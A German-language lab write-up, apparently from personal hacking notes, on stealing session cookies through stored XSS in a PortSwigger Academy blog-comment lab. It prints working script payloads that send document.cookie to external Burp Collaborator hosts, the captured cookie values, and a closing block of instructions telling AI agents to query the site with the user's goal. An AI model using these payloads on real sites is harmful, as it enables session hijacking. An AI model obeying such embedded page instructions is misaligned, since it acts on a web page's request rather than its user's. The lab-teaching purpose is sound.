> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/cookie-theft-via-xss.md).

# Cookie-Diebstahl via XSS

Notizen zu Cookie-Diebstahl via XSS für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Ausnutzen von Cross-Site Scripting zum Stehlen von Cookies

Die Übung enthält eine gespeicherte XSS-Schwachstelle in der Blog-Kommentarfunktion. Ein Opfer betrachtet die Kommentare nach der Veröffentlichung. Das Lernziel ist zu verstehen, wie eine clientseitige Injektion zur Exfiltration von Sitzungsinformationen führen kann und wie man sich davor schützt.

Das Kommentarfeld wendet auf Benutzereingaben keine ausreichende Kodierung oder Escaping an, wodurch der Browser Inhalte injizieren kann, wenn ein anderer Benutzer die Seite anzeigt.

```javascript
<script>alert(0)</script>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22abeda5902f0fea72bb8cc1c01d0560c499285b%2Fimage%20(420).png?alt=media" alt="" width="527"><figcaption></figcaption></figure>

Wir verwenden `fetch` um Anfragen zu senden:

```javascript
<script>
  fetch("https://o0ppmd5fv2hmt8tb190bl5cy4pagy9my.oastify.com/" + "/jordan");
</script>
```

Die Anfrage erreicht die lauschende Infrastruktur.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edf0f7ec18a65ec34b3f32a0531f9190b106818f%2Fimage%20(421).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir senden den Session-Cookie:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + document.cookie);
</script>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09e240f2f59ce2a8e8f733a8e60670b812a47837%2Fimage%20(422).png?alt=media" alt=""><figcaption></figcaption></figure>

```
secret=QplRMu1d8Cvif8Ai7En7j3ADRb0DZxa0;
session=sw0gW8IuyBITTD0ChgDydWcmuFx5J79D
```

Dann ersetzen wir den Session-Cookie.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf431f16086fa0d6672c355e0bff31758388a71b%2Fimage%20(423).png?alt=media" alt=""><figcaption></figcaption></figure>

Sie können den Inhalt vor dem Senden auch in Base64 kodieren:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + btoa(document.cookie));
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/cookie-theft-via-xss.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
